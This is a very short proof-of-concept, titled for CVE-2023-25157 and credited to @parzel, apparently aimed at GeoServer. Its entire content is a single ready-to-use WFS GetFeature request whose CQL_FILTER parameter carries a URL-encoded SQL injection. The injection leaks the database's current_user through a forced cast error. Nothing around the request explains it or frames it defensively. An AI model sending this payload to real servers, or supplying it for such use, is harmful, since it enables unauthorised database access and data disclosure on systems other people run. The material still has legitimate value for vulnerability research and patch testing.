PoC CVE-2023-25157 by @parzel

/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=osm:osm_places&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+current_user%29+AS+INTEGER%29%29+--+%27%29+%3D+true